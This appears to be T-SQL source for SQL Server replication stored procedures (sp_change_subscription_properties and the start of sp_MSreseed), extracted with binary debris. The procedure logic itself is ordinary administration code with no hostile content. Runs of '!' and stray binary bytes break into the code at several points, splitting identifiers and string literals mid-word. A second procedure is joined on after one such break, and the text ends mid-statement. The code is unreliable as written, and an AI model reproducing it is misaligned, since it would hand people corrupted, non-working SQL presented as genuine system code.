!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
8UvMcreate procedure sys.sp_change_subscription_properties
(
    @publisher          sysname, 
    @publisher_db       sysname, 
    @publication        sysname, 
    @property           sysname,
    @value              nvarchar(1000),
    @publication_type   int = NULL
)
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @command            nvarchar(2000)
    DECLARE @column_to_update   nvarchar(64)
    DECLARE @value_string       nvarchar(2004)
    DECLARE @independent_agent  bit
    DECLARE @retcode            int
    DECLARE @subscription_type  int
    DECLARE @intvalue           int
    DECLARE @value_bit          bit
    DECLARE @dbname             sysname
    DECLARE @local_publication  sysname
    DECLARE @agentid            binary(16)
    DECLARE @job_step_uid       uniqueidentifier
    DECLARE @local_publisher    sysname
    DECLARE @cursor_opened      bit 
    DECLARE @cursor_allocated   bit
    DECLARE @agenttype          nvarchar(20)
    DECLARE @commandline        nvarchar(3200)
    DECLARE @password            nvarchar(524)
    DECLARE @proxy_id			int
    
    SELECT @cursor_opened = 0
    SELECT @cursor_allocated = 0
    SELECT @retcode = 0    
    /*
    ** Security Check
    */

    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)
        
    if (@publisher is null)
    begin
        raiserror(14043, 16, -1, '@publisher', 'sp_change_subscription_properties')
        return (1)
    end

    if(@publisher_db is null)
    begin
        raiserror(14043, 16, -1, '@publisher_db', 'sp_change_subscription_properties')
        return (1)
    end

    if (@publication is null) or (@publication = '')
    begin
        select @publication = '%'
    end

    -- The following check should only be performed on a merge subscriber
    if 	@publication_type = 2 and 
    	object_id('sysmergesubscriptions', 'U') is not null and
       	object_id('sysmergepublications', 'U') is not null
    begin
        -- This sproc should not be used on a publication that has doesn't have pull subscriptions.
        if @publication = '%'
        begin
            IF NOT EXISTS (select * from sysmergesubscriptions sub, sysmergepublications pub
                where (QUOTENAME(pub.publisher)=@publisher or pub.publisher=@publisher) and pub.publisher_db=@publisher_db and sub.pubid=pub.pubid
                and (sub.subscription_type=1 or sub.subscription_type=2)) -- pull type or anonymous (by default is pull)
            begin
                raiserror(21548, 16, -1)
                return (1)
            end
        end
        else
        begin
            IF NOT EXISTS (select * from sysmergesubscriptions sub, sysmergepublications pub
                where (QUOTENAME(pub.publisher)=@publisher or pub.publisher=@publisher) and pub.publisher_db=@publisher_db  and sub.pubid=pub.pubid
                and pub.name=@publication
                and (sub.subscription_type=1 or sub.subscription_type=2)) -- pull type or anonymous (by default is pull)
            begin
                raiserror(21548, 16, -1)
                return (1)
            end
        end
    end    

    IF object_id('MSsubscription_properties','U') is NULL
    begin
        raiserror(14027, 16, -1, 'The pull subscription properties table ''MSsubscription_properties''')
        return (1)
    end

    -- Expand '%' into individual subscriptions using a cursor
    IF @publication = N'%'
    BEGIN

        BEGIN TRANSACTION subscription_properties_exp
        DECLARE hsubprop CURSOR LOCAL FAST_FORWARD FOR
            SELECT publication 
              FROM MSreplication_subscriptions
             WHERE UPPER(publisher) = UPPER(@publisher)
               AND publisher_db = @publisher_db
               -- NOTE:  publication like '%' is implicit
        IF @@ERROR <> 0
            GOTO ExpFailure
        SELECT @cursor_allocated = 1
    
        OPEN hsubprop
        IF @@ERROR <> 0
            GOTO ExpFailure    
        SELECT @cursor_opened = 1

        FETCH hsubprop INTO @local_publication
        WHILE (@@FETCH_STATUS <> 0)
        BEGIN
                            
            EXEC @retcode = sys.sp_change_subscription_properties
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @local_publication,
                @property = @property,
                @value = @value,
                @publication_type = @publication_type
            IF @retcode <> 0 OR @@ERROR <> 0
                GOTO ExpFailure
            FETCH hsubprop INTO @local_publication
        END

        CLOSE hsubprop
        DEALLOCATE hsubprop
        COMMIT TRANSACTION subscription_properties_exp
        IF @@ERROR <> 0
            GOTO ExpFailure

        RETURN (0)
ExpFailure:

        IF @cursor_opened = 1
            CLOSE hsubprop
        IF @cursor_allocated = 1
            DEALLOCATE hsubprop
        ROLLBACK TRANSACTION subscription_properties_exp
        RETURN (1)
    END    
    ELSE
    BEGIN
        if not exists (select * from MSsubscription_properties 
                   WHERE UPPER(publisher) = UPPER(@publisher)
                   AND publisher_db = @publisher_db
                   AND publication = @publication)
        BEGIN
            RAISERROR(21859, 16, -1, @property)
            RETURN 1
        END
    END

    -- Check for existence of the specified pull subscription
    SELECT @agentid = NULL
    SELECT @job_step_uid = NULL
    SELECT @local_publisher = NULL
    SELECT @dbname = DB_NAME()

    IF @publication_type IN (0,1) OR @publication_type IS NULL
    BEGIN
        IF object_id('MSreplication_subscriptions') is not NULL
        BEGIN
            SELECT @local_publisher = publisher, 
                   @agentid = agent_id
              FROM MSreplication_subscriptions
             WHERE UPPER(publisher) = UPPER(@publisher)
               AND publisher_db = @publisher_db
               AND publication = @publication 

            SELECT @job_step_uid = job_step_uid
                FROM MSsubscription_properties
                WHERE UPPER(publisher) = UPPER(@publisher)
                   AND publisher_db = @publisher_db
                   AND publication = @publication
                   AND publication_type IN (0, 1)
        END
    END

    IF @publication_type = 2 OR (@publication_type IS NULL AND
        @local_publisher IS NULL)
    BEGIN
        IF object_id('dbo.sysmergepublications') is not NULL
        BEGIN
            SELECT @local_publisher = mp.publisher,
                   @agentid = mr.merge_jobid
              FROM dbo.sysmergepublications mp
            INNER JOIN dbo.sysmergesubscriptions ms
                ON mp.pubid = ms.pubid 
               AND UPPER(mp.publisher) = UPPER(@publisher) 
               AND mp.publisher_db = @publisher_db
               AND mp.name = @publication 
               AND ms.db_name = @dbname
               AND UPPER(ms.subscriber_server) = UPPER(@@SERVERNAME)
            INNER JOIN dbo.MSmerge_replinfo mr
                ON ms.subid = mr.repid

            SELECT @job_step_uid = job_step_uid
                FROM MSsubscription_properties
                WHERE UPPER(publisher) = UPPER(@publisher)
                   AND publisher_db = @publisher_db
                   AND publication = @publication
                   AND publication_type = 2
        END
    END 

	-- verify that the logged on user is allowed to make these changes
	SELECT @proxy_id = proxy_id 
		FROM msdb..sysjobsteps 
		WHERE job_id = @agentid
			AND step_uid = @job_step_uid
	IF IS_SRVROLEMEMBER('sysadmin') != 1
		AND @proxy_id IS NULL
	BEGIN
		-- Only members of the sysadmin fixed server role can modify a subscription that does not have a job with a proxy account defined.
		RAISERROR(20813, 16, -1, 'subscripti!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
х# vMon')
		RETURN 1
	END
	
    IF @local_publisher IS NULL
    BEGIN
        RAISERROR(21226, 16, -1, @dbname)
        RETURN (1)
    END

    SELECT @publication_type = publication_type             
      FROM MSsubscription_properties 
     WHERE UPPER(publisher) = UPPER(@publisher)
       AND publisher_db = @publisher_db
       AND publication = @publication

    -- If the subscription does not have a corresponding entry in MSsubscription_properties, 
    -- the subscription is probably created by the ActiveX control. In this case there isn't much
    -- we can do about it so we just return 0.
    IF @publication_type IS NULL
    BEGIN
        RETURN (0)
    END      

	/*
	** Parameter Check: @offloadagent.
	*/
	IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'offload_agent')
	BEGIN
		-- "Parameter 'offload_agent' is no longer supported."
		RAISERROR(21698, 16, -1, 'offload_agent')
		RETURN 1
	END

	IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'offload_server')
	BEGIN
		-- "Parameter 'offload_server' is no longer supported."
		RAISERROR(21698, 16, -1, 'offload_server')
		RETURN 1
	END

	-- Begin changing the properties...
    IF (@property IS NULL)
    begin
        raiserror(14043, 16, -1, '@property', 'sp_change_subscription_properties')
        return (1)
    end
    --
    -- Publisher link information should only be set by sp_link_publication
    --
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'publisher_login') AND (@publication_type = 2)
        select @column_to_update = 'publisher_login'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'publisher_password') AND (@publication_type = 2)
    begin
        select @column_to_update = 'publisher_password'
        EXEC @retcode = sys.sp_MSreplencrypt @value OUTPUT
        IF @@error <> 0 OR @retcode <> 0
            return 1

		update MSsubscription_properties set publisher_password = @value
        	where UPPER(publisher) = UPPER(@publisher)
                and publisher_db = @publisher_db
                and publication = @publication
        if @@error <> 0 
            goto Failure

		return 0
    end
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'publisher_security_mode') AND (@publication_type = 2)
        select @column_to_update = 'publisher_security_mode'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'distributor')
        select @column_to_update = 'distributor'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'distributor_login')
        select @column_to_update = 'distributor_login'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'distributor_password')
    begin
        select @column_to_update = 'distributor_password'
        EXEC @retcode = sys.sp_MSreplencrypt @value OUTPUT
        IF @@error <> 0 OR @retcode <> 0
            return 1

        update MSsubscription_properties set distributor_password = @value
        	where UPPER(publisher) = UPPER(@publisher)
                and publisher_db = @publisher_db
                and publication = @publication
        if @@error <> 0 
            goto Failure

        return 0
    end
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'distributor_security_mode')
        select @column_to_update = 'distributor_security_mode'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'ftp_address')
        select @column_to_update = 'ftp_address'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'ftp_port')
        select @column_to_update = 'ftp_port'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'ftp_login')
        select @column_to_update = 'ftp_login'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'ftp_password')
        select @column_to_update = 'ftp_password'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'alt_snapshot_folder')
    BEGIN
        select @column_to_update = 'alt_snapshot_folder'
    END
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'working_directory')
    BEGIN
        select @column_to_update = 'working_directory'
    END
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'use_ftp')
        select @column_to_update = 'use_ftp'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'dts_package_name')
        select @column_to_update = 'dts_package_name'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'dts_package_password')
    begin
    	IF RTRIM(ISNULL(@value, N'')) = N''
    	BEGIN
    		-- Use of DTS packages in replication requires a non-NULL/non-empty string password. Specify a valid value for parameter '%s'.
			RAISERROR(21732,16, -1, '@value')
			RETURN 1
    	END
    	
        select @column_to_update = 'dts_package_password'
        EXEC @retcode = sys.sp_MSreplencrypt @value OUTPUT
        IF @@error <> 0 OR @retcode <> 0
            return 1

        update MSsubscription_properties set dts_package_password = @value
        	where UPPER(publisher) = UPPER(@publisher)
                and publisher_db = @publisher_db
                and publication = @publication
        if @@error <> 0 
            goto Failure

        return 0
    end
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'dts_package_location')
        select @column_to_update = 'dts_package_location'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = N'dynamic_snapshot_location') and @publication_type = 2
    BEGIN
        select @column_to_update = N'dynamic_snapshot_location'
    END
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'hostname')
        select @column_to_update = 'hostname'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'internet_login')
        select @column_to_update = 'internet_login'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'use_web_sync')
        select @column_to_update = 'use_web_sync'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'internet_url')
        select @column_to_update = 'internet_url'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'internet_password')
    begin
        select @column_to_update = 'internet_password'
        EXEC @retcode = sys.sp_MSreplencrypt @value OUTPUT
        IF @@error <> 0 OR @retcode <> 0
            return 1

        update MSsubscription_properties set internet_password = @value
        	where UPPER(publisher) = UPPER(@publisher)
                and publisher_db = @publisher_db
                and publication = @publication
        if @@error <> 0 
            goto Failure

        return 0
    end
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'internet_security_mode')
        select @column_to_update = 'internet_security_mode'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'internet_timeout')
        select @column_to_update = 'internet_timeout'
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'distrib_job_login')
    BEGIN
    	IF sys.fn_replisvalidwindowsloginformat(@value) != 1
		BEGIN
			-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_change_subscription_properties'.
			RAISERROR(21797, 16, -1, '@value (distrib_job_login)', 'sp_change_subscription_properties')
			RETURN 1
		END
		
        -- update the Proxy Account login
        exec @retcode = sys.sp_MSchange_repl_job @id = @agentid,
        										@step_uid = @job_step_uid,
												@login = @value
        if @@error != 0 or @retcode != 0
            return 1

        return 0
    END
    ELSE IF (lower(@property collate SQL_Latin!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
vM1_General_CP1_CS_AS) = 'distrib_job_password')
    BEGIN
        -- update the Proxy Account password
        exec @retcode = sys.sp_MSchange_repl_job @id = @agentid,
        										@step_uid = @job_step_uid,
                                                @password = @value
        if @@error != 0 or @retcode != 0
            return 1

        return 0
    END
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'merge_job_login')
    BEGIN
    	IF sys.fn_replisvalidwindowsloginformat(@value) != 1
		BEGIN
			-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_change_subscription_properties or sp_changemergepullsubscription'.
			RAISERROR(21797, 16, -1, '@value (merge_job_login)', 'sp_change_subscription_properties or sp_changemergepullsubscription')
			RETURN 1
		END
		
        -- update the Proxy Account login
        exec @retcode = sys.sp_MSchange_repl_job @id = @agentid,
        										@step_uid = @job_step_uid,
                                                @login = @value
        if @@error != 0 or @retcode != 0
            return 1

        return 0
    END
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'merge_job_password')
    BEGIN
        -- update the Proxy Account password
        exec @retcode = sys.sp_MSchange_repl_job @id = @agentid,
        										@step_uid = @job_step_uid,
                                                @password = @value
        if @@error != 0 or @retcode != 0
            return 1

        return 0
    END
    ELSE
    BEGIN
        raiserror (3217, 16, -1, '@property')
        return(1)
    END

    IF @column_to_update in ('use_ftp', 'use_web_sync')
    BEGIN
        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = N'true'
        BEGIN
            SELECT @value_bit = 1
        END
        ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = N'false'
        BEGIN
            SELECT @value_bit = 0
        END
        ELSE
        BEGIN 
            RAISERROR(14137, 16, -1)
        END
    END

    IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'publisher_security_mode') AND (@publication_type = 2)
    BEGIN
        IF @value not in (0,1,2) 
        BEGIN
            raiserror(3217, 16, -1, '@value')
            return(1)
        END
        select @value_string = convert(nvarchar(1), @value)
    END
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) in ('distributor_security_mode', 'internet_security_mode'))
    BEGIN
        IF @value not in (0,1) 
        BEGIN
            raiserror(3217, 16, -1, '@value')
            return(1)
        END
        select @value_string = convert(nvarchar(1), @value)
    END
    ELSE IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'dts_package_location')
    BEGIN
        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = N'distributor' 
            select @value_string = '0'
        ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = N'subscriber' 
            select @value_string = '1'
        ELSE 
        begin
            raiserror(20587, 16, -1, 'dts_package_location', 'sp_change_subscription_properties')
            return(1)
        end

    END
    ELSE
    BEGIN
        IF @value IS NULL
        BEGIN
            select @value_string = 'null'
        END
        ELSE
        BEGIN
			select @value_string = 'N''' + replace(rtrim(@value),'''', '''''') + ''''
        END
    END    

    -- Ignore ftp_address, ftp_port, ftp_login, ftp_password on post 7.0 servers
    IF (@column_to_update IN (N'ftp_address', N'ftp_port', N'ftp_login', N'ftp_password'))
    BEGIN
        RETURN (0)
    END

    BEGIN TRANSACTION subscription_properties
    IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'use_ftp')
    begin
        update MSsubscription_properties set use_ftp = @value_bit where 
            UPPER(publisher) = UPPER(@publisher) and 
            publisher_db = @publisher_db and
            publication = @publication 
        IF @@error <> 0 OR @retcode <> 0
            GOTO Failure
    end
    else if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = N'dynamic_snapshot_location'
    begin
        select @value = rtrim(ltrim(@value))

        update MSsubscription_properties 
           set dynamic_snapshot_location = @value
         where upper(publisher) = upper(@publisher) 
           and publisher_db = @publisher_db 
           and publication = @publication
        if @@error <> 0 or @retcode <> 0
            goto Failure

        -- Call helper functions to add/update or remove the -DynamicSnapshotLocationParameter
        if @value is null or @value = N''
        begin
            update msdb.dbo.sysjobsteps 
               set command = sys.fn_removeparameterwithargument(command, N'DynamicSnapshotLocation') collate database_default
             where job_id = @agentid
               and lower(subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'merge'
        end
        else
        begin

            select @commandline = command 
              from msdb.dbo.sysjobsteps
             where job_id = @agentid
               and lower(subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'merge'

            select @commandline = sys.fn_updateparameterwithargument(@commandline, N'DynamicSnapshotLocation', sys.fn_replquotename(@value, default)) collate database_default

            -- Need to remove existing alternate snapshot folder parameters
            -- and file transfer type parameters

            select @commandline = sys.fn_removeparameterwithargument(@commandline, N'FileTransferType') collate database_default
            
            select @commandline = sys.fn_removeparameterwithargument(@commandline, N'AltSnapshotFolder') collate database_default

            update msdb.dbo.sysjobsteps
               set command = @commandline
             where job_id = @agentid
               and lower(subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'merge' 

        end
    end
    else IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'use_web_sync')
    begin
        update MSsubscription_properties set use_web_sync = @value_bit where 
            UPPER(publisher) = UPPER(@publisher) and 
            publisher_db = @publisher_db and
            publication = @publication 
        IF @@error <> 0 OR @retcode <> 0
            GOTO Failure
    end
    else IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'distributor_security_mode')
    begin
        -- Security Mode 1
        IF @value = 1
        BEGIN
            SELECT @password = newid()

            -- Encrypt the password before storing
            EXEC @retcode = sys.sp_MSreplencrypt @password OUTPUT
            IF @@ERROR <> 0 OR  @retcode <> 0
                RETURN 1

            update MSsubscription_properties 
                set distributor_security_mode = 1,
                    distributor_login = N'',
                    distributor_password = @password
            where UPPER(publisher) = UPPER(@publisher) 
                and publisher_db = @publisher_db 
                and publication = @publication 
            IF @@error <> 0 OR @retcode <> 0
                GOTO Failure
        END
        -- Security Mode 0
        ELSE
        BEGIN    
            update MSsubscription_properties 
                set distributor_security_mode = 0
            where UPPER(publisher) = UPPER(@publisher) 
                and publisher_db = @publisher_db 
                and publication = @publication 
            IF @@error <> 0 OR @retcode <> 0
                GOTO Failure
        END
    end
    else IF (lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'publisher_security_mode') AND (@publication_type = 2)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
EvM
    begin
        -- Security Mode 1
        IF @value = 1
        BEGIN
            SELECT @password = newid()

            -- Encrypt the password before storing
            EXEC @retcode = sys.sp_MSreplencrypt @password OUTPUT
            IF @@ERROR <> 0 OR  @retcode <> 0
                RETURN 1

            update MSsubscription_properties 
                set publisher_security_mode = 1,
                    publisher_login = N'',
                    publisher_password = @password
            where UPPER(publisher) = UPPER(@publisher) 
                and publisher_db = @publisher_db 
                and publication = @publication 
            IF @@error <> 0 OR @retcode <> 0
                GOTO Failure
        END
        -- Security Mode 0
        ELSE
        BEGIN    
            update MSsubscription_properties 
                set publisher_security_mode = 0
            where UPPER(publisher) = UPPER(@publisher) 
                and publisher_db = @publisher_db 
                and publication = @publication 
            IF @@error <> 0 OR @retcode <> 0
                GOTO Failure
        END
    end
    else    
    begin
        -- Password is encrypted. Must prefix every string with N' 
        -- otherwise, the chars will be convert to '???'
        select @command = N'update MSsubscription_properties set ' + @column_to_update + '= ' + @value_string
                + ' where UPPER(publisher) = UPPER(' + quotename(@publisher,'''') 
                + ') and publisher_db = ' + quotename(@publisher_db, '''')
                + ' and publication = ' + quotename(@publication,'''')
       	
        EXEC (@command)
        IF @@error <> 0 OR @retcode <> 0
            GOTO Failure
    end

    IF (@publication_type = 0 or @publication_type = 1) AND @publication <> N'%' AND
        @column_to_update IN ('distributor',
                              'distributor_login',
                              'distributor_password',
                              'distributor_security_mode',
                              'ftp_address',
                              'ftp_port',
                              'ftp_login',
                              'ftp_password',
                              'alt_snapshot_folder',
                              'working_dir',
                              'use_ftp')
    BEGIN
        SELECT @subscription_type = subscription_type
          FROM MSreplication_subscriptions
         WHERE UPPER(publisher) = UPPER(@publisher)
           AND publisher_db = @publisher_db
           AND publication = @publication
        IF @@error <> 0 OR @retcode <> 0
            GOTO Failure

        -- Update the property for all shared subscriptions
        IF @column_to_update IN ('distributor_security_mode', 
                                 'ftp_port')
        BEGIN
            SELECT @intvalue = CONVERT(int, @value)
            EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
                    @publisher = @publisher,
                    @publisher_db = @publisher_db,
                    @publication = @publication,
                    @property = @column_to_update,
                    @intvalue = @intvalue,
                    @subscription_type = @subscription_type
        END
        ELSE IF @column_to_update IN ('use_ftp')
        BEGIN
            EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
                    @publisher = @publisher,
                    @publisher_db = @publisher_db,
                    @publication = @publication,
                    @property = @column_to_update,
                    @intvalue = @value_bit,
                    @subscription_type = @subscription_type
        END
        ELSE 
        BEGIN
            EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
                    @publisher = @publisher,
                    @publisher_db = @publisher_db,
                    @publication = @publication,
                    @property = @column_to_update,
                    @strvalue = @value,
                    @subscription_type = @subscription_type
        END  
    
        IF @@error <> 0 OR @retcode <> 0
            GOTO Failure
    END

    -- Ftp and alternate snapshot folder are mutually 
    -- exclusive options but instead of raising an error
    -- when both of them are non-null, nullify the other 
    -- property when either one of them is set to non-null
    -- value since properties can only be set one at a time

    -- 'dynamic_snapshot_location' should also be added to the
    -- list of mutually exclusive properties


    IF (@column_to_update = 'ftp_address') AND (@value <> N''
       AND @value IS NOT NULL)
    BEGIN
        EXEC @retcode = sys.sp_change_subscription_properties 
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @property = 'alt_snapshot_folder',
                @value = NULL

        IF @@error <> 0 OR @retcode <> 0
            GOTO Failure
    END

    IF (@column_to_update = 'use_ftp') AND (@value_bit = 1)
    BEGIN
        EXEC @retcode = sys.sp_change_subscription_properties 
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @property = 'alt_snapshot_folder',
                @value = NULL

        IF @@error <> 0 OR @retcode <> 0
            GOTO Failure

        IF @publication_type = 2
        BEGIN
            EXEC @retcode = sys.sp_change_subscription_properties
                    @publisher = @publisher,
                    @publisher_db = @publisher_db,
                    @publication = @publication,
                    @property = 'dynamic_snapshot_location',
                    @value = NULL
            IF @@error <> 0 OR @retcode <> 0
                GOTO Failure
        END
    END

    IF (@column_to_update = 'alt_snapshot_folder') AND (@value <> N''
       AND @value IS NOT NULL)
    BEGIN
        EXEC @retcode = sys.sp_change_subscription_properties 
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @property = 'ftp_address',
                @value = NULL

        IF @@error <> 0 OR @retcode <> 0
            GOTO Failure

        EXEC @retcode = sys.sp_change_subscription_properties 
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @property = 'use_ftp',
                @value = 'false'

        IF @@error <> 0 OR @retcode <> 0
            GOTO Failure

        IF @publication_type = 2
        BEGIN
            EXEC @retcode = sys.sp_change_subscription_properties
                    @publisher = @publisher,
                    @publisher_db = @publisher_db,
                    @publication = @publication,
                    @property = 'dynamic_snapshot_location',
                    @value = NULL
            IF @@error <> 0 OR @retcode <> 0
                GOTO Failure
        END
    END


    IF (@column_to_update = 'dynamic_snapshot_location') AND (@value <> N''
        AND @value IS NOT NULL)
    BEGIN

        EXEC @retcode = sys.sp_change_subscription_properties
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @property = 'ftp_address',
                @value = NULL
            
        IF @@error <> 0 OR @retcode <> 0
            GOTO Failure

        EXEC @retcode = sys.sp_change_subscription_properties
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @property = 'use!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(.vy2create procedure sys.sp_MSreseed
(
    @objid              int,
    @next_seed          bigint,
    @range              bigint,
    @is_publisher       int = 0,
    @check_only         bit = 0,
    @drop_only          bit = 0,
    @initial_setting    bit = 0,
    @bound_value        bigint = 0
)
AS
begin
    declare @min_value          bigint
    declare @max_value          bigint
    declare @constraintname     sysname
    declare @artid              uniqueidentifier
    declare @min_str            nvarchar(20)
    declare @identity_column    sysname
    declare @colid              int
    declare @colname            sysname
    declare @max_str            nvarchar(20)
    declare @owner              sysname
    declare @tablename          sysname
    declare @qualname           nvarchar(517)
    declare @dbname             sysname
    declare @prefix             sysname
    declare @retcode            int
	declare @cmd				nvarchar(2000)
    
    SET NOCOUNT ON

    -- DDL trigger depends on this prefix, if changed, be sure to change sp_MSTran_altertable as well

    select @prefix = 'repl_identity_range_'
    select @colid=1
    select @dbname=db_name()
    select @colname=name from sys.columns where column_id=@colid and object_id = @objid
    select @retcode = 0

    -- Security check: dbo & sysadmin only
    execute @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
    begin
        return 1
    end    

    select @colname = NULL
    select @colname=name, @colid=column_id from sys.columns where object_id = @objid and is_identity=1
    if @colname is NULL
    begin
        select @tablename = object_name(@objid)
        raiserror(21756, 16, 1, @tablename)
        return (1)
    end
    if @range > 0
    begin 
        select @min_value = @next_seed 
        if @initial_setting = 1
            select @min_value = @bound_value - 1 -- allow for race condition with ident_current.             
        -- @next_seed + @range can be used by this db, but not other db.
        -- Leave one slot unused. This is to prevent violation of primary key constraint
        -- if the next value is used by a subscriber and the publisher has received it.
        -- It seems the pk constraint will be validated before this check.
        -- select @max_value = @next_seed + @range + 1
        select @max_value = @next_seed + @range
    end
    else
    begin
        select @max_value = @next_seed 
        if @initial_setting = 1
            select @max_value = @bound_value + 1 -- allow for race condition with ident_current.                     
        -- @next_seed + @range can be used by this db, but not other db.
        -- Leave one slot unused. This is to prevent violation of primary key constraint
        -- if the next value is used by a subscriber and the publisher has received it.
        -- It seems the pk constraint will be validated before this check.
        -- select @min_value = @next_seed + @range - 1
        select @min_value = @next_seed + @range
    end

    select @min_str = convert(nvarchar, @min_value)
    select @max_str = convert(nvarchar, @max_value)
    select @owner = schema_name(schema_id) from sys.objects where object_id = @objid
    select @tablename = object_name(@objid)
    select @qualname = QUOTENAME(@owner) + '.' + QUOTENAME(@tablename)

    if @check_only = 0
    begin 
        DBCC CHECKIDENT(@qualname, RESEED, @next_seed) with no_infomsgs
        if @@ERROR<>0
